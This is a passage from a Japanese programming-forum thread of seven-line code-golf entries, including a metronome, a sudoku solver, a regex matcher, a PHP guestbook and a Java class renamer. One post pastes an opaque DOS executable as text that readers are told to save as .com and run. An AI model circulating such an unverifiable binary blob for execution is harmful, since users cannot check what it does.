七行プログラミング part5
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2006/03/16(木) 09:02:39過去作品は、もしかしたら>>2-20あたりに。
前スレ
http://pc8.2ch.net/test/read.cgi/tech/1051703369/
part 3
http://pc2.2ch.net/tech/kako/1033/10331/1033143528.html
part 2
http://pc3.2ch.net/tech/kako/1018/10188/1018840143.html
part 1
http://pc.2ch.net/tech/kako/984/984182993.html
0002デフォルトの名無しさん
2006/03/16(木) 09:39:320003デフォルトの名無しさん
2006/03/16(木) 13:11:36http://pc2.2ch.net/test/read.cgi/tech/1033143528/5-15
http://pc2.2ch.net/test/read.cgi/tech/1033143528/25
Pt.2スレの作品一覧
http://pc3.2ch.net/test/read.cgi/tech/1018840143/900-906n
0004デフォルトの名無しさん
2006/03/17(金) 02:23:31インデックスでも貼るか
0005http://www.vector.co.jp/soft/win95/util/se072729.html
2006/03/18(土) 19:49:20もしくは64bitにネイティブ対応したテキスト置換ソフトありますか?
0006デフォルトの名無しさん
2006/03/19(日) 17:43:27http://pc8.2ch.net/test/read.cgi/tech/1051703369/993-995n
0007955
2006/03/21(火) 02:34:36本当はこれがやりたかった。全画面注意
ただ単に作ったファイルを.txtにしてコピペしただけ
3ロウタムテ2ロムテクタタ0GMウ@0G"0G,0G-0G?0GB0GO0GV0G[3タq(自己改変とINT10hの練習)3タq
フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[%
クYJ3テPUSVRRWクm Pクーフ3ナPUSVRRWクm Pクワフ3ナPクョホ3ナPUSVRRWク!!PクンンPPクゥゥPPPクブPRR%
ク /PRRUSVRRWクA}3チPクS13チPクO)Pク6a3チ3ツPクo」3ツPクタa3チ3ツPUSUSVWーA3チエRPクa<3チ3ツP%
ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚%
3ター。HムタムタPPPYャ]ミリ\ェW]3ロキ<ミマ;ンu.3タPPHヘミ_^Iuヘ3ノアPQ^ア。Iムチムチクタヒ5タタヘ!ムネsノヘ フ
0008デフォルトの名無しさん
2006/03/21(火) 02:43:01お見事
0009デフォルトの名無しさん
2006/03/21(火) 03:04:55今回もXPのみ?・・・Orz
0010デフォルトの名無しさん
2006/03/21(火) 05:34:48前スレ973も>>7も、うちの2000で動く。
そもそもDOS命令なんで、OS関係ないと思われ。
前スレ960のMessageBoxは環境依存だと思うけど、
(DLL名の省略の関係?)
改変した前スレ966は2000では動きました。
>>7
すげー。INT10hはこういう使い方ができるのかー。
インデックスの方も乙。
0011デフォルトの名無しさん
2006/03/21(火) 15:56:26すげえええええええええwwwwwwww
こんなのってどうやって付くんの?
テキストに仕方はどうやるんだろ。
アセンブラ作って変換するんだろか・・・
0012デフォルトの名無しさん
2006/03/21(火) 16:56:57行頭・行末にスペースが入ってないことを確認して
CR+LF改行で保存したら98SE@VPCでも動きますた。
はスペースでいいみたい。
0013デフォルトの名無しさん
2006/03/21(火) 20:20:12一つだけの時は、それで OK だけど、二つ以上つづく時は
にしないと、(HTML の仕様で) 一つにまとめら
れちゃうよ。
0014デフォルトの名無しさん
2006/03/21(火) 22:47:21いやつまりnon-breaking spaceは$A0だから、さ
0015デフォルトの名無しさん
2006/03/22(水) 07:41:42スクリプトのコードなら何の処理か想像つくのが多いだろうが
そのうち簡易ウィルスやOSクラッシャうpる香具師がいつか出そうな悪寒
今浮かんだ対策は
バイナリうp師は必ず頭に「実行は自己責任で」付けるとかその辺
当然っちゃ当然だがバイナリは読めない香具師多そうで怖い
0016デフォルトの名無しさん
2006/03/22(水) 15:32:07どんなのプログラムなのか必ずデバッガ上でトレースしてから実行してるが、
いきなり実行する香具師は喰らうだろうな。某流出もそういう仕組みだし。
OS吹き飛ばしたり、HDD全消去くらいなら簡単だろうが、
今の流れの形式で、ウイルスともなるとかなりレベル高そうだな。
けど、グロ画像と同じで、気づいた香具師が警告入れるだろうし、
その上で踏むのなら、自己責任しょ。
テキストに貼り付けて拡張子comに変えた時点で、その行為が意味することくらいわかってなきゃな。
どんな動作するか書いてない、2chに貼られたバイナリをいきなり実行する香具師って・・・
0017デフォルトの名無しさん
2006/03/26(日) 00:20:49>>7を試したらこんなの出たけどこれでいいの?
0018113
2006/03/26(日) 01:31:550019デフォルトの名無しさん
2006/03/26(日) 10:21:390020デフォルトの名無しさん
2006/03/29(水) 18:40:10#include <iostream>
int main()
0021デフォルトの名無しさん
2006/03/29(水) 20:42:28□歩□□玉□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□角□□□□□飛□
香桂銀金王金銀桂香
0022デフォルトの名無しさん
2006/03/29(水) 23:35:04二歩でアウトーッ!
0023デフォルトの名無しさん
2006/03/29(水) 23:44:220024デフォルトの名無しさん
2006/03/30(木) 02:22:010025デフォルトの名無しさん
2006/03/30(木) 02:50:240026デフォルトの名無しさん
2006/03/30(木) 02:59:550027デフォルトの名無しさん
2006/03/30(木) 03:03:440028デフォルトの名無しさん
2006/03/30(木) 03:04:43千葉女流のあーってさけぶやつを思い出すw。
0029デフォルトの名無しさん
2006/03/30(木) 11:37:20俺なら>=使う
0030デフォルトの名無しさん
2006/03/30(木) 11:55:000031デフォルトの名無しさん
2006/03/31(金) 22:27:06http://oshiete1.goo.ne.jp/kotaeru.php3?q=2063991
#include <iostream.h>
main(){
char *(*pp)[3];
printf("%lu", sizeof(char*));
printf(" pp%lu", pp);
printf(", ++pp%lu", ++pp);
}
0032デフォルトの名無しさん
2006/03/31(金) 22:30:320033デフォルトの名無しさん
2006/03/31(金) 23:41:25sizeof(char* )== 4
sizeof(char*[3])== 12
だから12増えるのが正解だろ。
0034デフォルトの名無しさん
2006/03/32(土) 00:18:13ありがとうございました。やっと分かりました。
あとで、20ポイントつけておきますね。
0035デフォルトの名無しさん
2006/03/32(土) 01:41:120036デフォルトの名無しさん
2006/03/32(土) 23:59:380037せっ☆マ ◆wwwwWwWWWw
2006/04/05(水) 15:15:350038デフォルトの名無しさん
2006/04/05(水) 22:39:450039デフォルトの名無しさん
2006/04/08(土) 19:25:54まとめサイト欲しい
0040デフォルトの名無しさん
2006/04/08(土) 19:32:57ttp://cm.xrea.cc/
0041デフォルトの名無しさん
2006/04/09(日) 00:07:50じつに素晴らしい
0042デフォルトの名無しさん
2006/04/09(日) 00:19:28double sin();char b[99];long*h,w[]={65537,8000,8000,524289,20},d[]={b,99,0,0,0,
1,0,0};WINAPI f(t,u,x,y,z){waveOutReset(h);waveOutWrite(h,d,32);}main(c,v)char
**v;{if(c>1){for(c=99;c--;b[c]=sin(c*0.7854)*64);if((c=atoi(v[1]))>0){waveOutO\
pen(&h,-1,w,0,0,0);waveOutPrepareHeader(h,d,32);for(c=timeSetEvent(60000/c,1,f,
timeBeginPeriod(1),1);!kbhit();Sleep(1));timeKillEvent(c);waveOutReset(h);wave\
OutUnprepareHeader(h,d,32);waveOutClose(h);}}}
Win32用簡易メトロノーム。コマンドライン引数でBPMを指定。何かキーを押せば終了します。
マルチメディアタイマーを利用しているのでwinmm.libとのリンクが必要。
0043デフォルトの名無しさん
2006/04/09(日) 23:47:28int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\
%d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=8;i--;)c[a[n/9*9+i]]=c[a[n%
9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1)
,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);}
数独を解くプログラムのつもり。あと2行あるからなんかしたいけど何をしようか思いつかん。
標準入力として↓みたいなファイルを食わせると答えを出す。
0 0 6 0 0 0 0 0 1
0 7 0 0 6 0 0 5 0
8 0 0 1 0 3 2 0 0
0 0 5 0 4 0 8 0 0
0 4 0 7 0 2 0 9 0
0 0 8 0 1 0 7 0 0
0 0 1 2 0 5 0 0 3
0 6 0 0 7 0 0 8 0
2 0 0 0 0 0 4 0 0
ぶっちゃけ七行やったこと殆どないんで無駄が多そう。
ちなみにあほ再帰なんで表出が減るとあほみたいに遅くなります。
将来は数々の人々みたいに立派な七行erになりたい。
0044デフォルトの名無しさん
2006/04/10(月) 11:38:484 0 0 0 0 0 8 0 2
0 0 0 0 1 8 0 0 9
2 0 0 3 0 5 0 0 0
0 5 0 0 6 0 2 0 0
0 0 0 7 0 4 0 9 0
0 7 0 0 2 0 0 3 6
0 0 0 9 0 0 7 0 0
8 0 6 0 7 0 0 0 0
0 0 5 0 0 0 6 0 4
の問題で誤答が出ました。
0045デフォルトの名無しさん
2006/04/10(月) 18:15:37GJ!
0046デフォルトの名無しさん
2006/04/11(火) 19:11:53#include <stdio.h>
int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\
%d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=9;i--;)c[a[n/9*9+i]]=c[a[n%
9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1)
,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);}
0047デフォルトの名無しさん
2006/04/11(火) 22:23:27入力が正規な問題かどうかを判定するルーチンいれられません?
現状だと1を81個でも(そのまんまになるが)解答として出力されるので。
0048デフォルトの名無しさん
2006/04/12(水) 16:36:52解答をリダイレクトすると 0x00 が出力されてるので
printf("%d%c",a[i],i%9?32:10);
の方がいいかも。
複数解答があるときは行をあけて欲しいなぁとか。
すでに7行以下だと最適化するのもむなしいなー。
0049デフォルトの名無しさん
2006/04/13(木) 23:15:08int a[81],c[10],j,k;o(){for(j=80;~j;j--)for(k=80;k>j;k--)if((j/9==k/9||j%9==k%9
||(j/27==k/27&&j%9/3==k%9/3))&&a[j]==a[k]&&a[j])return 0;return 1;}s(n){int i=
80;if(a[n])s(n+1);else if(n>80){for(;~i;i--)printf("%d%c",a[i],i%9?32:10);puts(
"\n");}else{for(i=1;i<=9;i++)(a[n]=i,o()?s(n+1):0,a[n]=0);}}main(i){i=80;for(;~
i;)scanf("%d",&a[i--]);o()?s(0):puts("問題おかしい");}
あちこち無駄っぽい。むう。
どのみちもう7行きってて微妙だからなんか別のものを組もうかなぁ。
0050デフォルトの名無しさん
2006/04/14(金) 10:39:22あ、生成と解答をまとめると結構ハードル高くなるかな?
0051デフォルトの名無しさん
2006/04/15(土) 02:15:07初代スレのWindows関連は面白かったから、ああいうのでなんかお題プリーズ。
0052デフォルトの名無しさん
2006/05/07(日) 16:27:060053デフォルトの名無しさん
2006/05/10(水) 00:45:47大きい■をクリックで、下のボックスに入力した色が塗られる(各色0-255)。
左上のアイコンをクリックすると、別ウィンドウで ppm 形式のデータを表示するので、
表示>ソース>メモ帳などが開いたら名前をつけて保存>何とか.ppm
大きさの変更は、1行目のA=16を適当にいじる
機能も不十分だが、最大の問題点は8行だということ。誰か頼む。
<body><script>Z=[A=16];B=document.all;s=S="<br>";function Y(D){(D?self:open()).
document.writeln(S)}function X(p){for(c="#",i=0;i<3;S="P3\n"+A+" "+A+"\n255")c
+=(0+(Z[p*3+i]=B.tags("input")(i++).value-0).toString(16)).slice(-2);B(P=7+p*2+
p/A|0).style.color=B(++P).style.background=c;for(i=0;i<A*A*3;S+=Z[i++]+" ")i%(3
*A)?0:S+="\n"}for(i=0;i<A*A;i%A?0:S+=s,S+="<b style=color:#AAA onClick=X("+i+
")>■</b><p style=background:#AAA;position:absolute;top:"+(i/A|0)*2+";left:"+(
i++%A)*2+";overflow:hidden;width:2;height:2 onClick=Y()></p>")for(j=3;j--;)Z[i*
3+j]=176;Y(S+=s)</script>R<input>G<input>B<input>
0054デフォルトの名無しさん
2006/05/10(水) 04:01:31少しインターフェースが違っているが7行化+Firefoxでも動くように。
多分Operaでも動くと思う。
<div style="width:256px"><script>A=16;function X(p){for(c=[],i=0;i<3;i++)c[i]=Z
[3*p+i]=+D.T("input")[i].value;D.T("b")[p].style.background="rgb("+c.join(",")+
")";}Z=[];D=document;for(i=0;i<A*A;D.write("<b style='background:#aaa;float:l"+
"eft;overflow:hidden;width:16px;height:16px;' onclick='X("+i+")'></b>"),i++)for
(j=3;j--;)Z[i*3+j]=176;D.T=D.getElementsByTagName;</script></div>R<input>G
<input>B<input><button onclick="s='P3\n'+A+' '+A+'\n255';for(i=0;i<A*A*3;s+=Z[
i++]+' ')i%(3*A)?0:s+='\n';with(self.open().document){writeln(s);close()}">出力
0055デフォルトの名無しさん
2006/05/11(木) 00:06:33来てあれ書いてた頃が懐かしくなったですよ。
・・いまだに7行は達成できないんだけどorz
#それどころか、会社入ってから書かされるプログラムは肥大化して行くばかり
0056デフォルトの名無しさん
2006/05/11(木) 01:45:24詰め込みコードは向かないし、他の人がコード見る場合があれば迷惑だよ
だから、行数が増えるのは別に悪い事じゃない。
#短く分かり易く書けるのに、無意味に長く難しく書くのも迷惑ダガナー
0057デフォルトの名無しさん
2006/05/11(木) 22:54:48大学の課題提出とか無意味に七行化しちゃうよ
0058デフォルトの名無しさん
2006/05/11(木) 23:46:080059デフォルトの名無しさん
2006/05/12(金) 00:15:400060デフォルトの名無しさん
2006/05/16(火) 15:46:12これ、トリッキーの1本人?それとも壮大なパクリ?
0061デフォルトの名無しさん
2006/05/16(火) 17:55:352chって文字が・・・
多分パクリ
0062デフォルトの名無しさん
2006/05/16(火) 18:30:46Part1の32で
> (関東など一部の地域での)テレビの2ちゃんねるシミュレータ、
> すなわち砂嵐シミュレータを作ってみました。ざーっていうあれです。音は鳴らないけど。
とあるから、パクリの証拠ではないんじゃない?
0063デフォルトの名無しさん
2006/05/17(水) 00:54:35トリッキーの1さんっぽい気はする。
経歴みても頭良さそうだし。
0064デフォルトの名無しさん
2006/05/17(水) 03:16:25確かに、1さんかもしれんな
0065デフォルトの名無しさん
2006/05/18(木) 23:24:04イミフWWWウハWWWWオkWWWW
ウェウェWWWWWWW
0066デフォルトの名無しさん
2006/05/19(金) 17:49:30コピーしてテキストエディタに貼付けて拡張子.comで保存
但し2chビューア等には、ご丁寧にも
半角スペースみたいな記号を
コピー時に&表記に変換したりする機能があったりするので
出来れば普通のブラウザからコピーを推奨
0068デフォルトの名無しさん
2006/05/19(金) 21:30:54空白行?
0069デフォルトの名無しさん
2006/05/19(金) 22:14:040070デフォルトの名無しさん
2006/05/19(金) 22:39:38二行目
> フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[%
五行目 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚%
~~~~~~~~~~~~~~~~~
0071デフォルトの名無しさん
2006/05/19(金) 23:24:49作者乙
0072デフォルトの名無しさん
2006/05/19(金) 23:55:08死ね
0073デフォルトの名無しさん
2006/05/23(火) 08:28:49プログラムングとは言えないんじゃね?
0074デフォルトの名無しさん
2006/05/23(火) 08:41:540075デフォルトの名無しさん
2006/05/23(火) 10:20:29連投対策(同IPから60秒間連投を制限)も一応施してあります。なんかまだまだ
短くできそうな悪寒がします。
<?$ip=$_SERVER['REMOTE_ADDR'];$d=time();$n=htmlspecialchars($_POST['n']);
$m=htmlspecialchars($_POST['m']);$p="log.txt";if($n&&$m){$l=@file($p);
$s=explode("<>",$l[0]);if(($ip!=$s[0])||($d-$s[3]>60)){$fp=fopen($p,"w+");fputs
($fp,$ip."<>".$n."<>".$m."<>".$d."<>\n");for($i=0;$i<20;$i++)fputs($fp,$l[$i]);
fclose($fp);}}?><form method=POST><input name=n>:<input name=m><input type=
submit><?$l=@file($p);foreach($l as $arr){$s=explode("<>",$arr);print("<hr>[".
$s[1]."] ".$s[2]." (".date("Y/m/d h:i:s", $s[3]).")");}?>
0076デフォルトの名無しさん
2006/05/23(火) 18:25:510077デフォルトの名無しさん
2006/05/23(火) 18:31:57PHPは関数名が長いね…
縮め、改行入力阻止、0のみ入力許可
<?$f=array('n','m');foreach($f as&$v){$v=strtr(htmlspecialchars($_POST[$v]),
"\n",' ');}$p='log.txt';if($f[0]!=''&&$f[1]!=''){$l=@file($p);$s=explode('<>',
$l[0]);if(($ip=$_SERVER['REMOTE_ADDR'])!=$s[0]||($d=time())-$s[3]>60){$l[20]=''
;file_put_contents($p,"$ip<>$f[0]<>$f[1]<>$d<>\n".implode('',$l));}}?><form
method=POST><input name=n>:<input name=m><input type=submit><?$l=@file($p);
foreach($l as$arr){$s=explode('<>',$arr);echo"<hr>[$s[1]] $s[2] (".date(
'Y/m/d h:i:s',$s[3]).')';}?>
0078デフォルトの名無しさん
2006/06/29(木) 14:59:100079デフォルトの名無しさん
2006/07/18(火) 21:50:290080デフォルトの名無しさん
2006/08/10(木) 02:37:10#include <stdio.h>
main()
{
int x, y;
for (y = 0; y < 32; y++){ for (x = 0; x < 32; x++)
printf(x & y? "..": "■"); printf("\n"); }
}
0081デフォルトの名無しさん
2006/08/19(土) 15:58:18互換性のないように作ってあるので、IE専用
<body id=B onMouseMove=y=event.y;x=event.x><script>h=B.clientHeight-20;a=[b=[q=
[D=document]]];for(U=x=99;x--;C=F=q[x]=P=y=0)D.write("<b style=background:red;"
+"width=16;height=16;position:absolute;top:-20></b>");function T(){for(i=C;i--*
!F;J=D.all(5+i).style,l=q[i]/U,m=J.left=a[i]*(c=1-l)+a[d=i+U]*l,n=J.top=b[i]*c+
b[d]*l,F=m-15<x&x<m+16&n-15<y&y<n+16)if(!q[s=i]--)for(j=2;j--;s+=R%3+1)R=Math.
random(q[i]=U)*w*h|0,a[c=j?i:i+U]=s%2?s%4>1?0:w:R%w,b[c]=s%2?R%h:s%4?h:0;P++-C*
9||C-U&&C++;if(F)alert(P);else setTimeout(T,U-C)}T(w=B.clientWidth-20)</script>
0082デフォルトの名無しさん
2006/08/19(土) 16:15:30だんだん多く速くなるあたり職人芸だな
0083デフォルトの名無しさん
2006/08/28(月) 21:02:170084デフォルトの名無しさん
2006/09/29(金) 15:58:310085デフォルトの名無しさん
2006/10/09(月) 16:07:240086デフォルトの名無しさん
2006/10/10(火) 20:06:29perlでモジュールを使わずに7行でRSSリーダー(RSS to html)を作れ
LWP::Simpleも使わずに7行はやっぱり無理か??
0087デフォルトの名無しさん
2006/10/10(火) 20:13:20008886
2006/10/10(火) 20:24:20LWP::Simpleと、XML::RSSで作れたんだがモジュール無しは俺にはむりぽ
0089デフォルトの名無しさん
2006/10/10(火) 23:22:550090デフォルトの名無しさん
2006/10/10(火) 23:32:320091デフォルトの名無しさん
2006/10/10(火) 23:33:190092デフォルトの名無しさん
2006/10/11(水) 00:28:140093デフォルトの名無しさん
2006/10/12(木) 14:02:19Cで7行正規表現。どうやっても7行は無理だったw 腕に覚えのある奴がいたら、是非挑戦してみてくれ。
0094デフォルトの名無しさん
2006/10/12(木) 14:07:44正規表現って何をサポートすればいいんだ?
0095デフォルトの名無しさん
2006/10/12(木) 22:49:520096デフォルトの名無しさん
2006/10/12(木) 22:53:170097デフォルトの名無しさん
2006/10/14(土) 02:02:18どこまでの機能を詰め込めるかの問題になりそうだけど。
009897
2006/10/14(土) 02:04:30作るだけなら余裕だろうし。
どれだけ機能を削ったり詰め込めるかって感じ。
0099トリッキーの1
2006/10/14(土) 05:40:11>>60-64で晒されていますが、そのサイトは私のサイトです。
正規表現が面白そうだったので久々に作ってみましたが、9行になりました。
縮めるテクニックなどを完全に忘れてしまっていますが、頑張れば7行は可能そうです。
仕事の合間に7行目指して頑張ってみようと思います。
使える記号は()*|のみです。とりあえずこれだけあれば他のも表現できると思います。
文脈自由文法は、
R ::= T | T "|" R
T ::= ε | FT
F ::= P | P*
P ::= char | "(" R ")"
となっています。gcc2.91でのみコンパイル確認しました。
使い方は、"a.exe regexp"とすれば、標準入力から読んだ内容をregexpで走査します。
見つかればmatchと表示して終了します
#include <stdio.h>
int n[999][99],z=2,i;char*s,c[999][99],v[9999];h(f,t,k){for(i=0;c[f][i]!=0;i++)
;c[f][i]=k;n[f][i]=t;}p(int o,int f,int t,char*l){int x;if(l){for(x=0;(f=c[o][x
])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0,0,(f==1)?l:l+1)))return 1;
}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:(o==1)?(*s==')'||*s=='|'||*s
==0)?h(f,t,1):(x=z++,p(2,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p
(3,f,x,0),(*s=='*')?h(f,t,1),s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t,0),++
s,0):h(f,t,*s++):0;}}main(int x, char**o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;
while(*s){if(p(0,0,0,s++))return printf("match");}}}
0100トリッキーの1
2006/10/14(土) 05:47:13#include <stdio.h>
int n[999][99],z=2,i;char*s,c[999][99],v[9999];p(int o,int f,int t,char*l){int
x;if(l){for(x=0;(f=c[o][x])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0,
0,(f==1)?l:l+1)))return 1;}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:(
o==1)?(*s==')'||*s=='|'||*s==0)?c[f][c[f][98]]=1,n[f][c[f][98]++]=t:(x=z++,p(2
,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p(3,f,x,0),(*s=='*')?c[f
][c[f][98]]=1,n[f][c[f][98]++]=t,s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t,
0),s++,0):(c[f][c[f][98]]=*s++,n[f][c[f][98]++]=t):0;}return 0;}main(int x,char
**o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;while(*s){if(p(0,0,0,s++))return
printf("match");}}return 0;}
0101デフォルトの名無しさん
2006/10/14(土) 10:22:420102デフォルトの名無しさん
2006/10/14(土) 11:17:280103デフォルトの名無しさん
2006/10/14(土) 14:51:060104デフォルトの名無しさん
2006/10/14(土) 14:53:220105デフォルトの名無しさん
2006/10/14(土) 15:15:5910行でもありえないくらい凄いよ…本当に7行なんて出来るんだろうか
0106デフォルトの名無しさん
2006/10/15(日) 01:37:570107トリッキーの1
2006/10/15(日) 02:06:53おお、その通りです。あのコードからよくわかりましたね!
DFAにすべきなんでしょうが、動けばいいやってことでNFAにしました。
でも現状では最初に適当に作りすぎたためにどんなに頑張っても9行なので、
行数を減らすことを前提に少し構造を変えないといけないかも…
等価なBNFで状態数の小さいものを書くことが出来ればなんとかなるのかな?
>>106
ヒントありがとうございます。
まだ小細工は全然していないのですが、数文字が重要になってきたら試してみます。
7行達成したらお披露目にきますね ノシ
0108デフォルトの名無しさん
2006/10/15(日) 12:12:36↓
int x=0;if(l){for(;
こういう積み重ねが大事なんだろうな。 人間ってすごいな。
0109デフォルトの名無しさん
2006/10/15(日) 13:28:33C++で出来るようになったのか
0110デフォルトの名無しさん
2006/10/15(日) 14:07:28C99なら可。
0111デフォルトの名無しさん
2006/10/15(日) 19:01:41とかあるけど……まぁそれでも7行には入りそうにないな。
もっと根本的な対策がいる。
0112デフォルトの名無しさん
2006/10/16(月) 01:50:150113デフォルトの名無しさん
2006/10/16(月) 06:58:49それは限りなく最後の手段。ASCII文字配列でないコンピュータで動かなくなる。
0114デフォルトの名無しさん
2006/10/16(月) 07:58:300115デフォルトの名無しさん
2006/10/16(月) 15:10:160116デフォルトの名無しさん
2006/10/16(月) 15:48:130117デフォルトの名無しさん
2006/10/16(月) 17:02:540118デフォルトの名無しさん
2006/10/17(火) 00:14:52ついに「ぴゅー太」と呼ぶ時代が来たようだな。 時代が追いついてきたな。
0119デフォルトの名無しさん
2006/10/17(火) 00:20:380120デフォルトの名無しさん
2006/10/17(火) 01:03:250121デフォルトの名無しさん
2006/10/27(金) 23:58:59現在,9行.あと少し.キャストがうぜぇ.groovy なら問題なくできるだろう.
import org.apache.bcel.classfile.*;class O{public static void main(String[]s)
throws Exception{new O(new ClassParser(s[0]).parse());}int n=0;void u(Constant
c){ConstantUtf8 u=(ConstantUtf8)c;if(u.getBytes().charAt(0)!='<')u.setBytes(""+
++n);}O(JavaClass j)throws Exception{ConstantPool p=j.getConstantPool();
Constant[]c=p.getConstantPool();for(int i=0;i<c.length;i++){if(c[i]!=null){int
t=c[i].getTag();if(t>8&&t<12){ConstantCP q=(ConstantCP)c[i];if(j.getClassName()
.equals(q.getClass(p)))u(c[((ConstantNameAndType)c[q.getNameAndTypeIndex()]).
getNameIndex()]);}}}u(c[((ConstantClass)c[j.getClassNameIndex()]).getNameIndex(
)]);j.dump(n+".class");}}
BCELじゃなく,ASMとか,javassist を使ったほうがいいのかな?
java -cp .:bcel.jar O <target classfile>
0122デフォルトの名無しさん
2006/10/28(土) 01:02:08純粋な疑問なんだけど、importが許されるなら、そこで全部書けばいいんじゃない?
0123デフォルトの名無しさん
2006/10/28(土) 15:16:15「BCELを使った」が前提なだけだから、BECL以外をimportしちゃダメだろう。
もちろん他所で書いてimportして「1行で書きました! 7行以下だからいいよね!」
って主張するのは各人の勝手だとは思うけど、スルーされるか叩かれるだけじゃね?
0124デフォルトの名無しさん
2006/10/28(土) 16:08:230125デフォルトの名無しさん
2006/10/28(土) 19:48:05Cで #include <stdio.h> 書くのは許していいの?
0126デフォルトの名無しさん
2006/10/28(土) 20:19:46できなかったら半年ROMってろ。
0127デフォルトの名無しさん
2006/10/28(土) 20:44:460128デフォルトの名無しさん
2006/10/28(土) 23:04:28Javaでjava.*を使わなかったら認めてやるよ
0129デフォルトの名無しさん
2006/10/29(日) 00:44:160130デフォルトの名無しさん
2006/10/29(日) 01:32:42有名どころなら一部の人からは認められないだろうね。
正規表現をboost使って実装されてもハァ?だし。
0131デフォルトの名無しさん
2006/10/29(日) 03:21:160132デフォルトの名無しさん
2006/10/29(日) 03:25:400133sage
2006/11/09(木) 00:13:290134デフォルトの名無しさん
2006/11/11(土) 16:56:120135デフォルトの名無しさん
2006/11/27(月) 22:46:200136デフォルトの名無しさん
2006/11/27(月) 23:19:49BASICだが、独特の技術だった。
0137デフォルトの名無しさん
2006/11/27(月) 23:45:01ネタが無いなら対戦リバーシとかどう?
0138デフォルトの名無しさん
2006/11/27(月) 23:46:52俺が作るのかw
対戦ってコンピューターとの対戦だよな。
交互に入力する対戦でもいいか。
0139デフォルトの名無しさん
2006/11/27(月) 23:49:18x軸とy軸を入力するやつだった気が
0140デフォルトの名無しさん
2006/11/27(月) 23:58:450141デフォルトの名無しさん
2006/11/28(火) 00:08:24いろいろあったわ。
同じゲーム作ってもおもしろいんじゃないか?
ネタがあれば作る人はたくさん出てきそうだけどな
0142デフォルトの名無しさん
2006/11/28(火) 00:09:310143デフォルトの名無しさん
2006/11/28(火) 00:11:24データを外に持つのか。それはいいのか?
0144デフォルトの名無しさん
2006/11/28(火) 00:16:310145デフォルトの名無しさん
2006/11/28(火) 00:16:390146デフォルトの名無しさん
2006/11/28(火) 00:22:08評価は見てる人がそれぞれすれば良いんだから。
0147デフォルトの名無しさん
2006/11/28(火) 00:25:35明日な、明日。
0148デフォルトの名無しさん
2006/11/28(火) 00:31:34プログラム作ってる暇があったらちゃんとオナニーしろよな
0149デフォルトの名無しさん
2006/11/28(火) 00:33:27校則で禁止されています。
0150デフォルトの名無しさん
2006/11/28(火) 01:25:210151デフォルトの名無しさん
2006/11/28(火) 03:45:570152デフォルトの名無しさん
2006/11/28(火) 04:00:38でも、たった7行で逝けるなんて感動。
0153デフォルトの名無しさん
2006/11/28(火) 07:54:50初代のトリッキー1さんとかってまだ居るの?
5年前って凄いな。
0154デフォルトの名無しさん
2006/11/28(火) 08:06:290155デフォルトの名無しさん
2006/11/29(水) 03:25:040156デフォルトの名無しさん
2006/11/29(水) 11:02:47http://www.google.com/search?hl=ja&lr=lang_ja&ie=UTF-8&oe=UTF-8&q=javascript+sprintf&num=50
自前でいろいろ作ってる人はたくさんいるみたいだけど、
これを7行のプログラムにするのも楽しそうだなww
0157デフォルトの名無しさん
2006/11/30(木) 03:32:530158138
2006/12/02(土) 21:34:13COMとの対戦オセロ作ってるんですけど50行くらいあるんですよね。
月曜日まで待ってもらっていいですか?
0159デフォルトの名無しさん
2006/12/02(土) 22:01:460160デフォルトの名無しさん
2006/12/02(土) 22:52:59きたいあげ
0161138
2006/12/04(月) 12:06:280162デフォルトの名無しさん
2006/12/04(月) 13:22:050163デフォルトの名無しさん
2006/12/04(月) 14:07:25だから?
0164デフォルトの名無しさん
2006/12/04(月) 14:13:19せっかくオブラートに包んであげたのに…
既に素晴らしい作品があるから、二番煎じな上に14行なんて面白くもなんともない経過報告いらないですよ
0165デフォルトの名無しさん
2006/12/04(月) 14:49:11(^ω^;)
最近7行のプログラム出てこないから書いてるだけなんだけど
面白くないと思うなら面白いものを提示してくれ
0166デフォルトの名無しさん
2006/12/04(月) 17:44:52相殺法と呼ばれる詭弁術の典型例
やっていることがつまらないという評価に対してなんら反論できてない
0167デフォルトの名無しさん
2006/12/04(月) 18:02:36#include <stdio.h>
typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1);
return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g;if(t[x])return 1;for(
